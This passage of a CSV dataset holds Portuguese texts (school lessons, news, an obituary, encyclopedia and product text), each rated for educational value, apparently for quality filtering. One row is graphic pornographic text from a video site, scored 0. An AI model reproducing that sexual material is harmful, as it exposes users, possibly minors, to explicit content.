culinária deliciosa. O Centro-Oeste, com seu clima tropical e terras férteis, é um importante produtor de alimentos. O Sudeste, a região mais populosa, concentra grandes cidades e importantes centros industriais. E o Sul, com suas paisagens exuberantes e clima mais frio, tem forte influência europeia. + +Entender as regiões do Brasil é importante para compreender a diversidade cultural e econômica do nosso país. Por exemplo, ao estudar a Região Nordeste, podemos aprender sobre o artesanato em barro, a literatura de cordel e as festas populares como o Bumba Meu Boi. Já ao estudar a Região Sul, podemos conhecer a cultura gaúcha, o chimarrão e as festas típicas como a Oktoberfest. + +Mas por que essa divisão é importante? Bem, essa divisão ajuda o governo a planejar melhor o desenvolvimento do país. Ao conhecer as necessidades e potencialidades de cada região, é possível criar políticas públicas mais eficazes para melhorar a vida das pessoas e promover o crescimento econômico. + +E você, qual região do Brasil mais te interessa? Que tal pesquisar sobre as comidas típicas, as músicas e as danças de cada região? Descobrir o Brasil é uma aventura incrível e cheia de aprendizado!",Geografia,Estados e regiões do Brasil,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, explicando de forma clara e acessível a divisão do Brasil em estados e regiões. Introduz conceitos geográficos e culturais relevantes para o ensino fundamental, utilizando uma linguagem adequada para diferentes níveis de aprendizado. O texto promove a compreensão da diversidade brasileira, incentivando a pesquisa e o aprendizado contínuo sobre as regiões do país. A estrutura do texto é coerente, facilitando a assimilação do conteúdo.",5,1.0 +"Uma greve nacional de dois dias segue no Chile nesta quinta-feira, resultando em confrontos violentos entre policiais e grevistas. Segundo o governo, 36 pessoas ficaram feridas e 348 foram detidas nos confrontos. Inúmeros sindicatos aderiram ao chamado da Central Unitária de Trabalhadores (CUT). A central sindical exige uma reforma tributária, da previdência social e do sistema de ensino, além de uma nova Constituição. +– Há uma escandalosa desigualdade social e econômica, cuja face mais suja é a forte concentração de riqueza do país, que faz com que os 20% mais ricos detenham 80% dos recursos nacionais – afirma um porta-voz da CUT. +Durante anos, o Chile se orgulhou de ter a economia mais forte da região e foi apontado como um modelo para seus vizinhos. Hoje, o país sofre as consequências de um sistema marcado por desigualdades na distribuição de renda e nas oportunidades. +– O sistema neoliberal não é suficiente para estabelecer um dos bens mais importantes na vida de um país, a paz social. Estes protestos são um sintoma da insatisfação com esse sistema. Em um país rico como o Chile de hoje, é absolutamente necessário que os políticos encontrem formas de diálogo para solucionar esse problema. Se uma sociedade se esquece de seus jovens, isso traz grandes problemas, que podem gerar manifestações e protestos sociais ainda mais violentos – diz o pesquisador Stefan Rinke, do Instituto de Estudos Latinoamericanos da Universidade Livre de Berlim, especialista em história latino-americana. +Educação em crise +Cara, ruim e elitizada: assim é caracterizada a educação chilena por aqueles que a criticam. O Chile é um dos países em que a contribuição estatal para a educação superior é mais baixa – inferior a 20% – e a maior parte dos custos fica por conta dos estudantes. +De acordo com um relatório da Organização para Cooperação e Desenvolvimento Econômico (OCDE), as universidades chilenas estão entre as mais caras do mundo. Estudar Medicina no país, por exemplo, pode custar até 800 euros por mês. Em busca de melhores oportunidades, milhares de estudantes migram para a Argentina, onde há universidades públicas gratuitas. +Embora por lei a educação no Chile não deva ter fins lucrativos e seus lucros devam ser reinvestidos na própria universidade, isso não ocorre na prática. O fim dos lucros é uma das principais reivindicações dos estudantes, os quais veem as universidades – que recebem recursos do Estado – ganhando dinheiro enquanto eles se endividam. +– Os novos setores que têm acesso à educação superior ingressam num sistema com uma dívida que os acompanhará durante os primeiros 15 ou 20 anos de sua vida profissional – aponta Juan Eduardo García-Huidobro, diretor de educação da Universidade Alberto Hurtado, em Santiago. +Um dos problemas básicos é a segmentação da sociedade. Quem tem uma renda mais baixa e estudou em escola pública, onde a educação é de pior qualidade, dificilmente terá acesso à universidade. Cerca da metade das famílias chilenas paga pela educação de seus filhos, buscando o melhor colégio possível de acordo com sua renda. Assim, há escolas para distintos grupos socioeconômicos, dependendo de quanto se pode pagar por elas. +A desigualdade social se reflete no desempenho acadêmico. Na PSU 2010 – prova de seleção nacional para ingressar nas universidades chilenas –, os alunos de colégios municipais gratuitos obtiveram uma média de 472 pontos; os dos particulares subsidiados (em que os pais pagam uma parte), 501; e os dos privados pagos, 611. +Ponto cego +A agitação social ultrapassou o âmbito da educação e o conflito adquiriu um caráter político. Diante da convocação da greve nacional, o governo ameaçou aplicar a Lei de Seguridade Interior do Estado, medida duramente criticada e que remete à repressão dos tempos do ditador Augusto Pinochet. +Para o chileno José Miguel Insulza, diretor da Organização dos Estados Americanos (OEA), isso seria um erro gravíssimo, pois não é o momento de reprimir manifestações, mas sim de canalizá-las. +– E...",original,original,original,original,4,0.8 +"Foi um missionário, um grande artista, um homem modesto, bom. Tentou morar duas vezes em Minas. Depois voltou para sua Holanda. +PETER Wiemers morreu no dia 16, na Holanda, onde morava desde que deixou o Brasil, definitivamente, na década de 90 do século passado - parece, assim, tão distante, mas foi apenas ontem, menos de 20 anos. Ele estava em um carro, que sofreu um acidente. Levado para um hospital ainda com vida, não resistiu aos ferimentos. Wiemers morreu aos 87 anos. +VALE lembrar, para os que não sabem, quem foi Wiemers. Antes e acima de tudo, um homem bom, um ser humano que dedicou sua vida aos amigos, aos necessitados, aos humildes. Sua profissão: artista. Dos melhores e mais talentosos pintores que a Holanda produziu - e ela os produziu em quantidade e qualidade. Ele nasceu em Amsterdã. Ali fez todos os seus cursos. Entrou para a Ordem dos Jesuítas. Fez-se padre. Sem nunca abandonar sua vocação artística. +Em 1960, veio para o Brasil, como missionário. E escolheu Belo Horizonte para viver, lecionar pintura e pintar. Pouco depois, abandonou a batina, sentindo que poderia ser mais útil, como missionário independente, ensinando pintura às crianças, especialmente as com deficiências. Começou dando aulas nas casas dos alunos. O número de crianças aumentou. Com dinheiro que conseguiu emprestado, comprou um terreno, se bem me lembro, em Contagem, ali erguendo, com a ajuda de voluntários, de amigos, como o padre Inácio, e com sua participação direta como operário, uma escola para seus alunos. +MAS a escola não cobrava mensalidades, nem taxas. Para se manter, Peter Wiemers pintava retratos, não apenas em Belo Horizonte, mas em Brasília também. Mas ele não sabia cobrar. Sentia-se constrangido quando lhe perguntavam o preço de um portrait. Se mesmo cobrando pouco percebesse desagrado, muito comum em face do espírito regateador do mineiro, acabava não cobrando nada. +POBRE, modesto, humilde, não sabia valorizar o talento enorme que as telas que pintou, os retratos que podem ser vistos pendurados nas paredes de muitas casas +ricas, de apartamentos luxuosos, demonstram sobejamente. Ele pintava retratos, mas dedicava muito de seu talento às pessoas humildes, operários, trabalhadores rurais, mendigos, retratados por ele com emoção. Do acervo que deixou em Minas, talvez o mais bonito trabalho seja uma Santa Ceia, com Cristo e os doze apóstolos inspirados no homem brasileiro comum. Era meu amigo e de Rachel, eu o conheci nos anos 60, acredito que através de outro grande artista e amigo, Petrônio Bax, que se foi há alguns meses. Almoçava muito em minha casa, pintou retratos de meus filhos, e nos anos 90, de Fabiana, minha neta. Conversávamos muito. Ele frequentava minha sala no jornal, na rua Goiás, tomava o café que Rosana lhe oferecia e que ele sempre elogiava, quando Sabará chegava com a bandeja. Era extremamente educado. +NO começo dos anos 80, sem recursos para manter sua escola, e com escassos rendimentos para se manter, resolveu retornar à Holanda. Ficou lá um ano. A saudade do Brasil apertou, e ele veio em navio de carga para reencontrar os amigos mineiros. Tentou, mais uma vez, através de sua arte, buscar meios de subsistência entre nós. Discreto, nunca mencionando sua vida, seus problemas pessoais, suas dificuldades financeiras, lutou bravamente em silêncio, até que no final dos anos 90 desistiu. Embarcou de vez para sua terra, e anunciou que aquele seria o retorno definitivo às suas origens. +A INICIATIVA, de caráter estritamente pedagógico e beneficente, era mantida pelas doações de amigos, das famílias dos assistidos e do produto da venda dos quadros de Wiemers. O sucesso foi grande, obrigando-o e aos que o auxiliavam a instalar a escola em uma pequena fazenda dos arredores de sua cidade. Os estudantes cumpriam o ano letivo normal e nas férias faziam viagens pelo país. Para este ano planejavam uma excursão pela Europa. Os recursos eram poucos. Wiemers doou para o grupo todas suas telas, para serem vendidas. Foi sua última decisão...",original,original,original,original,3,0.6 +"Pleistoceno – Wikipédia, a enciclopédia livre +Subdivisões do Quaternário +Quaternário Holoceno Meghalaiano 0-0.042 +Norte-Gripiano 0.042-0.082 +Gronelandês 0.082-0.117 +Pleistoceno Taratiano 0.117–0.126 +Chibano 0.126–0.781 +Calabriano 0.781–1.80 +Gelasiano 1.80–2.58 +Neogeno Plioceno Piacenziano mais antigo +Subdivisão do Quaternário de acordo com a Tabela Cronoestratigráfica Internacional versão 2015/1 da Comissão Internacional sobre Estratigrafia. +Na escala de tempo geológico, o Plistoceno [nota 1] ou Pleistoceno é a época do período Quaternário da era Cenozoica do éon Fanerozoico que está compreendida entre 2,588 milhões e 11,7 mil anos atrás, abrangendo o período recente no mundo de glaciações repetidas. O termo Pleistoceno deriva do grego πλεῖστος (transl. pleistos, ""bastante mais"") e καινός (transl. kainos, ""novo""), significando ""bastante mais novo"". +O Pleistoceno sucede o Plioceno e precede o Holoceno, ambos de seu período. Divide-se nas idades Gelasiano, Calabriano, Chibano e Taratiano, da mais antiga para a mais recente. +Paleogeografia e climaEditar +Extensão de gelo durante o último máximo glacial cerca de 20.000 anos atrás. A criação de folhas de gelo de quilômetros de espessura 3-4 causou um declínio global do nível do mar de cerca de 120 m. +O resfriamento gradual e aridez gerou um mundo muito parecido com hoje. Dentro do Círculo Polar Ártico, a tundra estendeu por todo o permafrost, no sul deste cresceu a taiga e ainda mais ao sul, a aridez predominante levou à substituição do deserto e semi-deserto Chaparral, as folhas foram substituídas por pastagens temperadas. No final do Pleistoceno, os seres humanos surgiram na África, descendendo de hominídeos, como Australopiteco. +Durante esse tempo, o mar se retirou a maioria dos Península Ibérica, deixando um abismo encolhendo no Guadalquivir e Murcia e restos de praias de Huelva e da Catalunha. Dentro, mesmo velho o trabalho e os novos são fluviolacustres bacias. Somente no Pleistoceno Superior e nas montanhas ao norte da península de strip há indícios de estágios glaciais. O leste asiático se estende à sudeste, enquanto a Austrália se estende à Norte, pelo intenso tectonismo da região. +As glaciaçõesEditar +Ver artigo principal: Glaciação +Durante o Pleistoceno grandes extensões de terra foram cobertas com uma imensa camada de gelo, um fenômeno conhecido como glaciação. Em alguns períodos o clima ficou mais quente e houve redução do tamanho das camadas de gelo. Esses períodos são chamados interglaciares. +No último milhão de anos, foram quatro as principais idades do gelo na Europa e receberam os nomes de quatro afluentes do Danúbio, nos quais onde, pela primeira vez, foram identificados os seus depósitos: Würm, Riss, Mindel e Günz (a mais antiga). Na América do Norte as glaciações se denominam Wisconsin, Illinois, Kansas e Nebraska, respectivamente. Com a recente inclusão da idade Gelasiana no Pleistoceno, duas novas glaciações foram incluídas: Donau e Briggen. +Devido às condições meteorológicas, as calotas polares de gelo cresceram e se mudaram para o paralelo 40, em algumas áreas. O nível do mar caiu cerca de 100 metros e a fauna e flora foram conduzidos de acordo com o clima. +Mamutes e rinocerontes lanudos. +A preponderância dos mamíferos foi consolidada, e alguns de seus mais proeminentes são Glyptodon e Smilodon. O gênero Mammuthus permaneceu durante grande parte deste período. Animais típicos desta época foram, rena, o urso polar, o rinoceronte lanoso, etc. A vegetação predominante era semelhante à tundra fria, desertos frios de hoje que são cobertos com musgos e líquenes. Na fase interglacial quente, os cavalos propriamente ditos apareceram (Equus) e rinocerontes atuais também, assim como hipopótamos e o extinto tigres dentes de sabre. Houve também surgimento de animais modernos que sobreviveram à mudanças climáticas (alce, raposa, lobo, gato bravo, hiena, bisonte, antilocapra, camelo, auroque, etc.) +Mamute (Mammuthus primigenius), um proboscídeo +Mastodonte (Mammut americanu...",original,original,original,original,3,0.6 +"Olá, pequenos historiadores! Já pararam para pensar que cada um de nós faz parte de uma grande história? Essa história começa na nossa família, se estende para a nossa comunidade e, acreditem, ajuda a construir o nosso país! + +Mas, o que é família? Família é muito mais do que pai, mãe e filhos. Família é quem cuida de você, quem te ama, quem te ensina coisas importantes. Pode ser a vovó, o vovô, os tios, os primos, ou até amigos muito especiais que a gente considera como irmãos. Cada família tem sua própria história, suas próprias tradições, seus próprios jeitos de ser. Que tal perguntar para os seus pais ou avós como era a família deles quando eles eram crianças? Vocês podem descobrir coisas muito legais e diferentes! + +E a comunidade? A comunidade é o lugar onde a gente vive: a nossa rua, o nosso bairro, a nossa cidade. Na comunidade, a gente encontra pessoas diferentes, com histórias diferentes, que trabalham, estudam e se divertem juntas. A escola, a praça, o mercadinho, a igreja, tudo isso faz parte da nossa comunidade. Cuidar da nossa comunidade é cuidar de nós mesmos. Que tal plantar uma flor no jardim da sua casa ou ajudar a limpar a praça do seu bairro? Pequenas atitudes fazem toda a diferença! + +A história da nossa família e da nossa comunidade está ligada à história do nosso país. As coisas que acontecem com a gente, com a nossa família e com a nossa comunidade, influenciam a história do Brasil. Por exemplo, as brincadeiras que os seus avós brincavam quando eram crianças podem ser diferentes das suas brincadeiras de hoje, e isso mostra como a cultura do nosso país muda com o tempo. As profissões que seus pais exercem também são importantes para a economia do nosso país. Cada um de nós contribui para a história do Brasil de um jeito único e especial. + +Agora, pensem um pouquinho: como a sua família ajuda a construir a história da sua comunidade? E como a sua comunidade ajuda a construir a história do nosso país? Conversem com seus pais, seus avós e seus amigos sobre isso. Descobrir a nossa história é descobrir quem somos e de onde viemos. E, o mais importante, é entender que cada um de nós tem um papel importante na construção de um futuro melhor para todos!",História,Família e comunidade,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir conceitos básicos de história, família e comunidade de forma acessível para crianças. Ele estimula a reflexão sobre o papel de cada indivíduo na construção da história local e nacional, incentivando a pesquisa e o diálogo familiar. A linguagem é adequada para os anos iniciais do ensino fundamental, e o conteúdo é relevante para o desenvolvimento da consciência social e histórica dos alunos. Aborda elementos do currículo e apresenta um raciocínio detalhado, completo sobre o assunto.",5,1.0 +"Alguns dos textos aqui contidos são de cariz sexual e só devem ser lidos por maiores de 18 anos e por quem tiver uma mente aberta. Se sentir algum tipo de desconforto com isso ou se não tiver os 18 anos ou mais, por favor SAIA agora.",original,original,original,original,0,0.0 +"Possui laterais mais largas, que oferecem mais conforto com a parte frontal em tule bordado.",original,original,original,original,0,0.0 +"Transando com a namorada gostosa: as duas já começa se beijando, e muito ofegantes. Elas tiram a roupa uma da outra e a loirinha já começa a meter a língua na buceta da morena, e as duas gemendo muito. Logo elas faz a posição 69, elas fazem a tesoura e gemem muito de tesão, elas não conseguem se controlar. Transando com a namorada gostosa. +Visualizações: 1074 +Categoria: Lesbicas +Videos relacionados: +65 sec +Lesbicas iniciante +Lesbicas iniciante, é o primeiro beijo das duas e elas ja monstram ter esperiencia e que nasceram pra fazer isso né ? kkk elas são muito gostosa e beijam muito bem. fizemos uma compilaçoes de lesbicas gostosas se beijando que vai deixar voce molhadinha com muito tesão, doida pra pegar aquela gostosa que você está afim. essas lesbicas sao muito gostosas e todas amam tudo isso que fazem, elas gostam da putaria. +Ver video +7 min +Lesbicas na Cozinha +Lesbicas se pegando na cozinha e botando seu irmao pra ralar da casa enquanto as duas estão lá. elas adoram isso e nao tem vergonha de alguem ver o amor que elas tem uma pela outra. elas ama toda essa coisa de putaria e pra isso elas estao sempre em busca de aventura. elas gostam muito de fazer putaria e sempre tao buscando novidade pra fazer no dia a dia em casa quando nao estao fazendo nada de bom. +Ver video +6 min +Lesbica peituda gostosa +Lesbica peituda gostosa, essa lesbica é muito gostosa e sua amiga loirinha nao tem tempo ruim. elas adoram transar e uma chupar a outra, qualquer toque que elas dao uma na outra ja é sinal pra haver muito tesão e as duas acabam nao resistindo e transando uma com a outra sempre que se encontram. elas gostam muito disso e pra elas e muito bom sempre ta matando a saudade que elas tem uma na outra, elas gostam. +Ver video +6 min +Lesbicas no filme +lesbicas no filme. essas duas fizeram uma cena de filme muito boa, na transa delas elas nao tem tempo ruim e adoram se pegar firmemente, pra elas putaria é arte e elas amam tudo isso. elas adoram fazer putaria com sua amiga. elas gostam muito disso e estao disposta a fazer oquer for pra matar seu tesão uma na outra e elas nao para por ai. sempre gravam suas cenas para mostrar para seus fas que sao gostosa. +Ver video +6 min +Lesbica chinesa +Lesbica chineza super gostosa ela ama transar com sua amiga e pra ela putaria é sport. elas amam tudo que faz e pra isso tao disposta a fazer tudo oque quer pra matar seu tesão. elas transam muito bem e suas bucetas sao maravilhosas, são tudo que qualquer homem tem vontad0e de ter em casa assim que chegar do trabalho de um dia muito casativo na sua empresa, não é ? fala que nao é verdade. essas duas sao tudo de bom. +Ver video +11 min +Lesbicas tarada +Duas lesbicas tarada super gostosa fazem uma loucura de amor muito louca. elas se amam muito e fazem de tudo pra matarem seu tesão uma na outra. e pra isso essas duas transam como se nao houvesse amanha. e elas ama toda essa putaria que elas duas faz. essas duas amiga sao muito gostosa e elas se amam e putaria pra elas é sport, todo dia quando tem tempo elas estao transando em qualquer lugar da casa. +Ver video +34 min +Lesbica transando na banheira +Lesbica transando na banheira com muito tesão, essas duas lesbica transam com muito prazer na banheira. e elas nao deixaram pra depois o tesão que elas sente uma na outra. pra elas foi tudo em familia. pos as duas ja sao melhores amigas e elas gostam muito dessa putaria toda que ela tem. elas gostam de fazer putaria e cachorrada e pra isso nao deixaaram pra depois. fizeram tudo que tinha vontade no momento. +Ver video +6 min +Lesbicas Branquinhas +Lesbicas Branquinha se pegando firme na cama. essas duas amigas sao muito tesuda e elas amam se pegar na cama. putaria pra elas é tudo que elas gostam e pra isso elas fazem tudo que gosta. uma pegar a outra é tudo que elas gosta. putaria e cachorrada. essas duas mulheres se pegam muito bom e quem nao queria ter uma noite de amor com essas duas super lesbicas gostosas? essa deixa qualquer homem maluco. +Ver video +6 min +Lesbicas sarrando ...",original,original,original,original,0,0.0 +"Sintomas da TAG - Transtorno de Ansiedade Generalizada • Ativa Psicologia +A ansiedade crônica ou ansiedade generalizada (casos de ansiedade que já estão no nível patológico), apresenta um certo desequilíbrio, não se sabe dizer ao certo o porque se está sentindo demasiadamente ansioso e além disso acaba sendo muito intenso e exagerado em relação a algum motivo pré-existente que talvez tenha acontecido. +Pessoas que convivem com o transtorno de ansiedade, possivelmente não conseguem ter controle sobre a angústia e tensão que sentem. +Transtorno de Ansiedade Generalizada TAG, é um trastorno em que são presentes diversos sintomas, como preocupação excessiva, alguns sintomas físicos e também um grande sofrimento psicológico e emocional. Estes sintomas se tornam presentes regularmente, por dias, meses e prejudicando o andamento normal da vida em todos os aspectos, sendo profissional, escolar, social e também familiar. +Tensão e/ou dor muscular +As preocupações geradas pelo transtorno de ansiedade generalizada (TAG), não desaparecem de uma hora para outra, pelo contrário, o mais provável é que os sintomas cada vez mais evoluam. Por este motivo, o tratamento é necessário e imprescindível. Procurar ajuda de um bom profissional, faz toda a diferença. +O acompanhamento psicoterapêutico é um dos meios mais eficazes no que se refere ao tratamento do Transtorno de Ansiedade Generalizada. Caso você já tenha percebido e detectado que estes sintomas se fazem presentes no seu dia-a-dia e de alguma forma vem atrapalhando a sua vida, é muito importante procurar informações e o tratamento imediato com profissionais qualificados. +A ansiedade é muito comum, e cada um de nós … +Para responder o que é ansiedade, é importante dizer que …",original,original,original,original,2,0.4 +"Bomba De Ar Com Reservatório Manômetro 160psi (10 Bar) Starfer Inclui Acessórios +Model: com manômetro +Pistola Pintura P/compressor Gravidade + Filtro Engate Ar +Óculos de Proteção Contra Impactos C/ elástico +A estrutura de duas lentes do modelo 5X9 permite fornecer ao dispositivo materiais alternativos às lentes de policarbonato, oferecendo proteção a um número maior de campos profissionais. O flip-up integ +Model: ANTI-IMPACTO +ÓCULOS DE SEGURANÇA EM POLI COM LENTES TRANSP ANTI-IMPACTO +O inovador 553 ZERONOISE está equipado com hastes patenteadas especialmente projetadas para facilitar o uso combinado com dispositivos de proteção auditiva: os terminais mais curtos e as seç +Óculos de Proteção Incolor Resistente a Impacto não cria distorção +O inovador 553 ZERONOISE está equipado com hastes patenteadas especialmente projetadas para facilitar o uso combinado com dispositivos de proteção auditiva: os terminais mais curtos +Model: 553Z.01.00.00 +Óculos Overspec de proteção com lente larga Azul +Óculos de proteção com uma lente larga e esférica, que pode ser usada sobre óculos graduados. Graças à faixa elástica, ajusta-se perfeitamente ao rosto e permanece em posição estável. Disponível em du +Óculos Bombeiro Anti Fogo P/ Condições Extremas +A Univet atende às demandas de profissionais que precisam de proteção máxima trabalhando em condições extremas com o 611FF goggle, um produto de alta tecnologia. O pessoal da Brigada de Incêndio e da D +Óculos Univet Ideal Para Airsoft Paintball Azul +A amplitude da linha 601 oferece uma versatilidade superior: as várias tecnologias do sistema de ventilação, as lentes disponíveis em policarbonato, acetato ou na versão de soldagem e o inserto RX para +ÓCULOS DE SEGURANÇA COM LENTES TRANSP ANTI-IMPACT HAST ELÁSTICO AS/AF +6X1 combina a leveza de um espetáculo com os benefícios de uma máscara. Os templos ajustáveis ??com a tecnologia SoftPad podem ser facilmente substituídos pelo elástico incluído p +ÓCULOS DE SEGURANÇA COM LENTES TRANSPARENTES ANTI-IMPACTO +Óculos Univet de duas lentes com detalhes estéticos exclusivos, 555 é caracterizada por seus tratamentos de alto nível. Possui uma cobertura muito ampla, com proteção adicional para as sobran +Óculos de Proteção elegante e modular Laranja +Óculos de Proteção elegante e modular Lentes corretivas Laranja +A estrutura de duas lentes do modelo 5X9 permite fornecer ao dispositivo materiais alternativos às lentes de policarbonato, oferecendo proteção a um número maior de campos profissionais +Óculos de Proteção elegante e modular 5x9 Verde +A estrutura de duas lentes do modelo 5X9 permite fornecer ao dispositivo materiais alternativos às lentes de policarbonato, oferecendo proteção a um número maior de campos profissionais. O flip-up inte +Óculos de Proteção UV400 Lentes de Policarbonato +O 5X8 representa a essência dos óculos de proteção. A inovadora tecnologia SoftPad combina-se com a excelente cobertura da área dos olhos e o ajuste do ângulo das têmporas para conforto e estabilidade +ÓCULOS DE SEGURANÇA COM LENTES ANTI-IMPACTO VERDE G15 +O 5X8 representa a essência dos óculos de proteção. A inovadora tecnologia SoftPad combina-se com a excelente cobertura da área dos olhos e o ajuste do ângulo das têmporas para conforto e estabil +Óculos Proteção contra impactos radiações UV Laranja +Somente os óculos graduados normais não garantem proteção adequada em ambientes arriscados, ao mesmo tempo em que os que sofrem de defeitos visuais não podem trabalhar sem o auxílio de lentes corr +Óculos de Proteção Lentes de Policarbonato Alto Resistência Laranja +Normalmente, a geometria do espetáculo é limitada pela rigidez da lente. A estrutura do modelo 5X3 é realizada com a exclusiva tecnologia FLD (Design de lente flutuante), que permit +Óculos Escuro de Proteção Anti-Impacto Castanho +Normalmente, a geometria do espetáculo é limitada pela rigidez da lente. A estrutura do modelo 5X3 é realizada com a exclusiva tecnologia FLD (Design de lente flutuante), que permite ancorar a lente ap +Mode...",original,original,original,original,1,0.2 +"Comentar - cadacriarsintra +De André SD a 9 de Maio de 2008 às 19:08 +Boa tarde. Como consegui obter todas estas imagens dos interiores do palácio da pena?",original,original,original,original,1,0.2 +"Murilo Mendes (13 maio de 1901-13 agosto de 1975) foi um poeta brasileiro. Fez parte do Segundo Tempo Modernista. Recebeu o prêmio Graça Aranha com seu primeiro livro “Poemas”. Participou do Movimento Antropofágico, que buscava uma vinculação com as origens do Brasil. +Murilo Monteiro Mendes (1901-1975), conhecido como Murilo Mendes, nasceu em Juiz de Fora, em Minas Gerais, no dia 13 de maio de 1901. Iniciou seus estudos na terra natal, indo em seguida para o Internato do Colégio Salesiano em Niterói, Rio de Janeiro. Em 1920, muda-se para a capital, onde participa do Movimento Antropofágico. Estreia na literatura escrevendo para duas revistas do modernismo, Terra Roxa e Outras Terras e Antropofagia. +Em 1930, lança seu primeiro livro “Poemas”. A poesia da geração de 30 teve grande preocupação social. A poesia de Murilo Mendes analisa o destino do ser humano como um todo. Em 1932 escreve o poema “Historia do Brasil”, uma obra de fundo nacionalista, que retrata nossa história sob uma visão ufanista-irônica. +Em 1934, ingressa num grupo católico formado por artistas e intelectuais e desenvolve temas religiosos. Em parceria com o escritor Jorge de Lima, escreve “Tempos e Eternidade” (1935), onde conciliam a poesia religiosa com as contradições do eu, com a preocupação social e com o sobrenatural surrealista. Juntos foram os dois principais representantes da poesia religiosa cultivada na segunda geração do Modernismo. Nessa época, emprega-se como bancário e inspetor de ensino. +Em 1938 escreve “A Poesia em Pânico”. Em 1944, escreve a prosa “O Discípulo de Emaús”. Trabalhou no Ministério da Fazenda e no Cartório da 4ª Vara de Família. Casa-se com Maria da Saudade de Cortesão. O casal não teve filhos. Em 1948, escreve “Janela do Caos”. Considerado por alguns como o principal representante da poesia surrealista, a obra de Murilo apresenta também traços da poesia social, além do novo barroco e do cristianismo. +Em 1953, foi convidado para lecionar literatura brasileira em Lisboa. De 1953 a 1955, percorreu diversos países da Europa, divulgando, em conferências, a cultura brasileira. Em 1957, se estabeleceu em Roma, onde também lecionou Literatura Brasileira.",original,original,original,original,4,0.8 +"Escola, família e comunidade: a tríade para o futuro",original,original,original,original,3,0.6 +"Programa Florescer forma a terceira turma +Novas parcerias e lançamento do Projeto Ambiental são as novidades para 2007 +A terceira turma de 40 educandos do Programa Florescer, uma das ações de responsabilidade social das Empresas Randon, de Caxias do Sul (RS) terá formatura no dia 14 de março. O paraninfo será o diretor corporativo e de relações com investidores das Empresas Randon, Astor Milton Schmitt e os homenageados serão o instrutor de educação corporal, Diego Ortiz Mascarello e a instrutora de atividades pedagógicas, Luciana Zanela Padilha. Depois de formados, os alunos passarão a integrar o Programa Qualificar - Formação Básica, outra ação de responsabilidade social das Empresas Randon, onde terão atividades voltadas para a inserção no ensino aprendiz. +Voltado para formação integral e inclusão social, o Florescer atende a 320 crianças e adolescentes de 7 a 14 anos em situação de vulnerabilidade social, com atividades pedagógicas, culturais e esportivas, entre elas reforço escolar, informática, inglês e musicalização. +Para o ano de 2007, a parceria entre o Programa Florescer e a Escola de Música da Orquestra Sinfônica da Universidade de Caxias do Sul, possibilitará a inserção dos jovens em classes de instrumentos da orquestra - violoncelos, flauta transversal, clarinetes, trombones, trompetes, oboé, entre outros. Em outubro, juntamente com a Orquestra da UCS, o Coro Infanto-Juvenil do Programa Florescer, participará da Quinta Sinfônica do Dia da Criança, com o musical Menino Maluquinho. Também, para este ano, será ampliada a parceria com o Recreio da Juventude, onde as crianças terão acesso às escolinhas de futsal, basquete e ginástica olímpica. As atividades acontecerão na sede do clube. +O Florescer lançará em abril o Projeto de Educação Ambiental, que objetiva estimular a conscientização e a participação das crianças e adolescentes do Programa, com relação à preservação do meio ambiente, por meio de ações de educação ambiental. +O quê: Formatura do Programa Florescer +Quando: 14 de março, às 18h30min +Onde: Auditório da Suspensys, em Caxias do Sul (RS) +Última atualização em 2016-08-29T16:52:05",original,original,original,original,1,0.2 +"É muita pirataria: quase metade dos softwares no Brasil não é licenciada - TecMundo +26/05/2016 às 15:15 +A pirataria infelizmente ainda é um mal que tem forte presença no mercado brasileiro de software. De acordo com um estudo realizado pela BSA (“Business Software Aliance”, também conhecida domo “The Software Alliance”), em 2015, quase metade dos softwares instalados no Brasil não são licenciados. O índice de pirataria chegou a 47%, três pontos percentuais abaixo do registrado para o país na edição anterior da pesquisa. +Esse estudo, batizado de “As oportunidades oferecidas pela conformidade de licenciamento”, destaca como ainda é preciso batalhar para conseguirmos legalizar completamente esse mercado. “Apesar de leve, a queda é positiva para o Brasil, que teve a menor taxa de pirataria da América Latina, mas ainda há muito a ser feito”, explicou Antonio Eduardo Mendes da Silva, o gerente da BSA para o Brasil. +Quase metade dos softwares instalados no Brasil são piratadas +Segundo o executivo, a diminuição no percentual de softwares não legalizados deve-se às campanhas de conscientização promovidas pela própria BSA em parceria com a ABES (Associação Brasileira de Empresas de Software). Outro fator que contribui foi o crescimento de uma cultura de gestão de ativos de software por parte das companhias, além da expansão da venda de programas por meio da tecnologia cloud, que dá ao consumidor e empresas um novo modelo comercial. +A diminuição no percentual de softwares não legalizados deve-se às campanhas de conscientização +Ainda segundo Silva, o bom desempenho do Brasil e do México, os maiores mercados consumidores nesse segmento, influenciou positivamente a marca da América Latina, que caiu quatro pontos percentuais com relação ao estudo realizado no ano passado. O índice global de softwares pirateados ficou em 39%, uma queda expressiva com relação aos 43% em 2013. +""É de extrema importância para uma empresa saber quais softwares fazem parte de sua rede corporativa"", disse a presidente e CEO da BSA, Victoria Espinel. “Muitos CIOs não sabem o total de softwares instalados nas suas redes corporativas e se os mesmos são legítimos”. Ainda de acordo com o estudo, os CIOs estimam que 15% dos funcionários instalam software na rede sem que eles fiquem sabendo. +No setor de bancos, seguros e valores mobiliários, a taxa mundial de softwares não licenciados chega a 25% +Porém, o número parece estar sendo subestimado, já que 26% dos funcionários afirmam instalar programas sem a autorização na rede corporativa. Essa prática pode causar muitos problemas, principalmente na parte de segurança e vulnerabilidade. O estudo reforça que há uma forte ligação entre ataques cibernéticos e a utilização de softwares piratas. Onde esse tipo de programa é utilizado, o risco de ocorrência de malwares é maior. Em 2015, as empresas em nível global gastaram mais de US$ 400 bilhões para lidar com as consequências de ataques. +A diminuição do índice de pirataria em relação ao estudo anterior se deve às campanhas de conscientização +A boa notícia, segundo o estudo que entrevistou consumidores, gerentes de TI e usuários de computadores corporativos, é que as companhias podem minimizar drasticamente os riscos de não conformidade estabelecendo um bom programa de SAM (Gestão de Ativos de Software). Até mesmos setores considerados críticos identificaram um alto índice de pirataria, o que reforça a urgência dessa prática. No setor de bancos, seguros e valores mobiliários, a taxa mundial de softwares não licenciados é mais baixa que os outros valores, mas ainda representa 25% dos programas usados. +Pirataria Software Programas Estilo de vida Comportamento",original,original,original,original,3,0.6 +"Fundação de Ciência e Tecnologia - Eventos +Em comemoração aos seus 70 anos, a Fundação de Ciência e Tecnologia (Cientec) está patrocinando no dia 16 de agosto a peça Landell de Moura - O Incrível Padre Inventor, que terá entrada gratuita para estudantes (com a apresentação da carteirinha) e servidores cadastrados através de e-mail. Local: Teatro Renascença (avenida Érico Veríssimo, 307 ? Porto Alegre). Horário: 20 